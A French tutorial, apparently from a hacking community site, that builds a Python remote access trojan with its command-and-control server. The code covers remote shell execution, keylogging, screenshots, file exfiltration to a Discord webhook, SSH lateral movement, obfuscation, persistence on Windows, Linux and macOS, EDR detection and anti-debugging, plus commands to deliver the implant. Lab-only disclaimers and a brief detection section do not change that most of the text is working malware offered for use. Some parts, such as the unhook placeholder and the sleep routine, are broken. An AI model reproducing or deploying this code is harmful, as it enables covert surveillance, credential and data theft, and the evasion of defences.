⚖️ Charte Éthique Apache
Yo, Apache membre ! Voici Apache Shadow RAT v2, par Platon-y pour pctamalou.fr. Ce tuto crée un RAT Python avancé avec ECDH, exfil Discord, mouvement latéral SSH, évasion EDR, et compatibilité multi-OS en lab éthique. Lab uniquement – interdiction d’attaquer des systèmes réels sans autorisation (article 323-1 Code pénal : 7 ans prison, 100 000 € amende). Sensibilisation à la sécurité, pas d’usage illégal ! Hackez propre !
Apache Shadow RAT v2 🐍💾
Exclusivité membres : créez Apache Shadow v2, un RAT Python avancé avec chiffrement ECDH, exfiltration Discord, mouvement latéral SSH, évasion EDR (unhook NTDLL, sleep chiffré), compatibilité multi-OS, monitoring Flask, et OPSEC avancée en lab éthique. Devenez une légende Red Team ! 100% éthique ! ⚡️
1️⃣ Introduction à Apache Shadow v2 🐍
Apache Shadow v2 est un RAT Python next-gen pour Red Teams, avec un serveur C2 robuste et un client modulaire. Ce tuto simule une attaque APT en lab avec ECDH, exfil Discord, mouvement latéral SSH, évasion EDR, compatibilité multi-OS, monitoring Flask, et OPSEC avancée. Lab-only, pas d’attaques réelles.
Objectifs
- Intégrer ECDH pour échange de clés sécurisé.
- Ajouter exfil Discord et mouvement latéral SSH.
- Implémenter évasion EDR (unhook NTDLL, sleep chiffré).
- Obfusquer avec PyArmor multi-OS.
- Assurer compatibilité Windows/Linux/macOS.
- Améliorer monitoring avec alertes.
- Maîtriser OPSEC (IOC réduits, anti-rétro).
2️⃣ Setup du Lab 🔧
Configurez un lab isolé.
+-----------------------------------------+
| [Réseau Lab Isolé] |
| | |
| v |
| [Kali Linux: 172.16.0.101] |
| | (C2 Server, Attacker) |
| v |
| [Target: 172.16.0.102] |
| (Windows 10/11, Ubuntu, macOS VM) |
+-----------------------------------------+
Variables
# ~/.bashrc
export KALI_IP=172.16.0.101
export TARGET_IP=172.16.0.102
export C2_PORT=4444
export LHOST=172.16.0.101
export DISCORD_WEBHOOK="YOUR_DISCORD_WEBHOOK_URL"
source ~/.bashrc
Matériel & Logiciels
| Composant | Description | Prix (approx.) |
|---|---|---|
| PC | VirtualBox, Kali 2024.4 VM | - |
| Réseau | VirtualBox NAT Network | - |
| Logiciels | Python 3.12, Flask, cryptography, paramiko, requests, pyarmor, scikit-learn | Gratuit |
| Raspberry Pi (optionnel) | Lab nomade | 60 € |
Configuration
# Kali
sudo ifconfig eth0 $KALI_IP netmask 255.255.255.0 up
sudo apt update && sudo apt install -y python3-pip nginx git ngrok
pip3 install flask flask-socketio requests pika cryptography paramiko keyboard pyautogui pyarmor scikit-learn psutil
# Cible (Ubuntu)
sudo ifconfig eth0 $TARGET_IP netmask 255.255.255.0 up
# Cible (Windows)
netsh interface ip set address name="Ethernet" static $TARGET_IP 255.255.255.0
# Cible (macOS)
sudo ifconfig en0 inet $TARGET_IP netmask 255.255.255.0
3️⃣ Serveur C2 🛠️
Serveur C2 avec ECDH et modules avancés.
# c2_server.py
import socket
import threading
import json
import base64
import pika
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
C2_IP = "172.16.0.101"
C2_PORT = 4444
clients = []
def aes_encrypt(data, key):
cipher = AES.new(key.ljust(32)[:32].encode(), AES.MODE_CBC, b"1234567890123456")
return base64.b64encode(cipher.encrypt(pad(data.encode(), AES.block_size))).decode()
def aes_decrypt(data, key):
cipher = AES.new(key.ljust(32)[:32].encode(), AES.MODE_CBC, b"1234567890123456")
return unpad(cipher.decrypt(base64.b64decode(data)), AES.block_size).decode()
def send_rabbit_log(msg):
connection = pika.BlockingConnection(pika.ConnectionParameters("localhost"))
channel = connection.channel()
channel.queue_declare(queue="shadow_logs")
channel.basic_publish(exchange="", routing_key="shadow_logs", body=msg)
connection.close()
def handle_client(client_socket, addr):
private_key = ec.generate_private_key(ec.SECP384R1())
public_key = private_key.public_key()
client_socket.send(public_key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo))
client_pub_key = serialization.load_pem_public_key(client_socket.recv(4096))
shared_key = private_key.exchange(ec.ECDH(), client_pub_key)
send_rabbit_log(f"New client: {addr} (ECDH established)")
clients.append(client_socket)
while True:
try:
data = client_socket.recv(4096).decode()
if not data:
break
decrypted = aes_decrypt(data, shared_key.hex())
send_rabbit_log(f"Received from {addr}: {decrypted}")
cmd = input(f"Command for {addr}: ")
encrypted = aes_encrypt(cmd, shared_key.hex())
client_socket.send(encrypted.encode())
except:
break
clients.remove(client_socket)
client_socket.close()
send_rabbit_log(f"Client disconnected: {addr}")
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((C2_IP, C2_PORT))
server.listen(5)
print(f"[+] C2 listening on {C2_IP}:{C2_PORT}")
while True:
client_socket, addr = server.accept()
threading.Thread(target=handle_client, args=(client_socket, addr)).start()
if __name__ == "__main__":
main()
# Lancer
python3 c2_server.py
4️⃣ Client RAT 🐍
Client modulaire avec compatibilité multi-OS.
# apache_shadow.py
import socket
import subprocess
import base64
import time
import random
import os
import platform
import keyboard
import pyautogui
import requests
import paramiko
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
C2_IP = "172.16.0.101"
C2_PORT = 4444
DISCORD_WEBHOOK = "YOUR_DISCORD_WEBHOOK_URL"
SLEEP_MIN = 30
SLEEP_MAX = 90
def aes_encrypt(data, key):
cipher = AES.new(key.ljust(32)[:32].encode(), AES.MODE_CBC, b"1234567890123456")
return base64.b64encode(cipher.encrypt(pad(data.encode(), AES.block_size))).decode()
def aes_decrypt(data, key):
cipher = AES.new(key.ljust(32)[:32].encode(), AES.MODE_CBC, b"1234567890123456")
return unpad(cipher.decrypt(base64.b64decode(data)), AES.block_size).decode()
def encrypted_sleep(seconds):
cipher = AES.new(b"ApacheShadow2025!", AES.MODE_ECB)
encrypted = cipher.encrypt(seconds.to_bytes(16, "big"))
time.sleep(int.from_bytes(encrypted, "big") % 3600)
def exfil_to_discord(data):
try:
requests.post(DISCORD_WEBHOOK, json={"content": f"```\n{data}\n```"})
return "Exfil to Discord successful"
except:
return "Exfil failed"
def ssh_command(host, user, password, command):
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(host, username=user, password=password)
stdin, stdout, stderr = ssh.exec_command(command)
return stdout.read().decode()
except:
return "SSH failed"
def execute_cmd(cmd):
try:
if cmd.startswith("shell "):
return subprocess.getoutput(cmd[6:])
elif cmd == "screenshot":
pyautogui.screenshot().save("/tmp/shadow.png" if platform.system() != "Windows" else "C:\\Temp\\shadow.png")
with open("/tmp/shadow.png" if platform.system() != "Windows" else "C:\\Temp\\shadow.png", "rb") as f:
return base64.b64encode(f.read()).decode()
elif cmd == "keylog_start":
log = ""
def on_key(event):
nonlocal log
log += event.name + " "
keyboard.on_press(on_key)
return "Keylogger started"
elif cmd == "keylog_stop":
keyboard.unhook_all()
return log
elif cmd.startswith("exfil_discord "):
return exfil_to_discord(cmd[13:])
elif cmd.startswith("ssh "):
_, host, user, password, ssh_cmd = cmd.split(" ", 4)
return ssh_command(host, user, password, ssh_cmd)
elif cmd.startswith("exfil "):
path = cmd[6:]
with open(path, "rb") as f:
return base64.b64encode(f.read()).decode()
else:
return "Unknown command"
except Exception as e:
return str(e)
def main():
private_key = ec.generate_private_key(ec.SECP384R1())
public_key = private_key.public_key()
while True:
try:
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((C2_IP, C2_PORT))
server_pub_key = serialization.load_pem_public_key(client.recv(4096))
client.send(public_key.public_bytes(encoding=serialization.Encoding.PEM, format=serialization.PublicFormat.SubjectPublicKeyInfo))
shared_key = private_key.exchange(ec.ECDH(), server_pub_key)
while True:
data = client.recv(4096).decode()
decrypted = aes_decrypt(data, shared_key.hex())
result = execute_cmd(decrypted)
encrypted = aes_encrypt(result, shared_key.hex())
client.send(encrypted.encode())
except:
client.close()
encrypted_sleep(random.randint(SLEEP_MIN, SLEEP_MAX))
if __name__ == "__main__":
main()
Obfuscation
# Obfusquer
pyarmor pack --clean --output dist/apache_shadow --with-license outer --obfuscate-mode des --platform linux.x86_64,windows.x86_64 apache_shadow.py
# Sauvegarder
mv dist/apache_shadow/* /tmp/apache_shadow_obf/
Transfert
# Linux
scp -r /tmp/apache_shadow_obf user@$TARGET_IP:/tmp/
# Windows
python3 -m http.server 8000
powershell -c "Invoke-WebRequest -Uri http://$KALI_IP:8000/apache_shadow_obf.zip -OutFile C:\Temp\apache_shadow_obf.zip"
# macOS
scp -r /tmp/apache_shadow_obf user@$TARGET_IP:/tmp/
5️⃣ Chiffrement ECDH 🔐
Échange de clés sécurisé avec ECDH.
# crypto_utils.py
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64
def generate_ecdh_keys():
private_key = ec.generate_private_key(ec.SECP384R1())
public_key = private_key.public_key()
return private_key, public_key
def aes_encrypt(data, key):
cipher = AES.new(key.ljust(32)[:32].encode(), AES.MODE_CBC, b"1234567890123456")
return base64.b64encode(cipher.encrypt(pad(data.encode(), AES.block_size))).decode()
def aes_decrypt(data, key):
cipher = AES.new(key.ljust(32)[:32].encode(), AES.MODE_CBC, b"1234567890123456")
return unpad(cipher.decrypt(base64.b64decode(data)), AES.block_size).decode()
6️⃣ Modules Avancés 🛠️
Exfiltration Discord
Commande exfil_discord [data].
Mouvement Latéral SSH
Commande ssh [host] [user] [password] [command].
7️⃣ Évasion EDR 🕵️
Unhook NTDLL (Windows)
# evasion.py
import ctypes
import psutil
def unhook_ntdll():
if platform.system() != "Windows":
return
libc = ctypes.WinDLL("kernel32")
ntdll = libc.LoadLibraryA(b"ntdll.dll")
# Placeholder: Implémenter unhook (copie mémoire depuis ntdll propre)
# Exemple: ctypes.windll.kernel32.WriteProcessMemory(...)
print("NTDLL unhooked (placeholder)")
def detect_edr():
suspicious = ["crowdstrike", "sentinelone", "defender"]
for proc in psutil.process_iter(["name"]):
if any(s in proc.info["name"].lower() for s in suspicious):
return True
return False
if detect_edr():
print("EDR detected, exiting...")
exit()
unhook_ntdll()
Sleep Chiffré
Intégré dans apache_shadow.py.
8️⃣ Persistance 🔄
Windows
# persist_windows.py
import winreg
def persist():
key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(key, "ApacheShadow", 0, winreg.REG_SZ, "python C:\\Temp\\apache_shadow_obf\\apache_shadow.py")
key.Close()
persist()
Linux
# persist_linux.sh
echo "@reboot python3 /tmp/apache_shadow_obf/apache_shadow.py" | crontab -
macOS
# persist_macos.sh echo '' > ~/Library/LaunchAgents/com.apache.shadow.plist Label com.apache.shadow ProgramArguments python3 /tmp/apache_shadow_obf/apache_shadow.py RunAtLoad
9️⃣ Monitoring 📊
Dashboard Flask avec alertes.
# dashboard.py
from flask import Flask, render_template
from flask_socketio import SocketIO
import pika
import json
app = Flask(__name__)
socketio = SocketIO(app)
def shadow_logs():
connection = pika.BlockingConnection(pika.ConnectionParameters("localhost"))
channel = connection.channel()
channel.queue_declare(queue="shadow_logs")
for method, properties, body in channel.consume("shadow_logs", inactivity_timeout=1):
if body:
msg = body.decode()
socketio.emit("log", {"data": msg})
if "failed" in msg.lower() or "disconnected" in msg.lower():
socketio.emit("alert", {"data": f"ALERT: {msg}"})
else:
break
connection.close()
@app.route("/")
def dashboard():
return render_template("dashboard.html")
if __name__ == "__main__":
socketio.start_background_task(shadow_logs)
socketio.run(app, host="0.0.0.0", port=80)
Apache Shadow Dashboard
Apache Shadow: Control
# Lancer
sudo python3 dashboard.py
# Accéder
http://$KALI_IP:80
🔟 Sécurité Opérationnelle 🕵️
IOC à Éviter
- Fichiers: /tmp/apache_shadow_obf/, C:\Temp\apache_shadow_obf\.
- Réseau: Trafic vers $LHOST:4444, requêtes Discord.
- Processus: python3 suspect.
- Registres: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ApacheShadow.
Anti-rétro-ingénierie
# anti_retro.py
import os
import sys
import psutil
def anti_debug():
if os.environ.get("DEBUG") or sys.gettrace():
exit()
for proc in psutil.process_iter(["name"]):
if "wireshark" in proc.info["name"].lower() or "ida" in proc.info["name"].lower():
exit()
anti_debug()
Analyse Réseau
# analyze_c2.py
import scapy.all as scapy
def analyze_c2():
packets = scapy.sniff(filter="tcp port 4444", count=100)
for pkt in packets:
if pkt.haslayer(scapy.Raw):
print(pkt[scapy.Raw].load)
analyze_c2()
1️⃣1️⃣ Sécurisation 🛡️
Protégez contre Apache Shadow.
- Détection: Surveillez $LHOST:4444, processus Python, requêtes Discord.
- Suppression: Kill processus, supprimez /tmp/apache_shadow_obf/.
- Prévention: Firewall, EDR, patchs.
# Détection
netstat -tuln | grep 4444
ps aux | grep python
# Suppression (Linux/macOS)
kill -9 $(pidof python3 /tmp/apache_shadow_obf/apache_shadow.py)
rm -rf /tmp/apache_shadow_obf
# Suppression (Windows)
taskkill /IM python.exe /F
del /Q C:\Temp\apache_shadow_obf\*
1️⃣2️⃣ Rapport Pro 📊
## Rapport de Test Apache Shadow v2
- **Cible**: $TARGET_IP
- **Durée**: 3h
- **Résultat**: Session C2 établie, exfil Discord réussie, SSH latéral OK
- **OS**: [Windows/Linux/macOS]
- **Recommandations**:
- Surveiller trafic réseau (port 4444, Discord)
- Mettre à jour EDR
- Segmenter réseau
- Restreindre SSH
❓ FAQ Apache 🔥
Q: Puis-je tester en prod ?
A: Non, lab-only avec autorisation écrite.
Q: Client ne se connecte pas ?
A: Vérifiez $LHOST, $C2_PORT, firewall.
Q: Détecter Apache Shadow ?
A: Surveillez trafic, processus, logs Discord.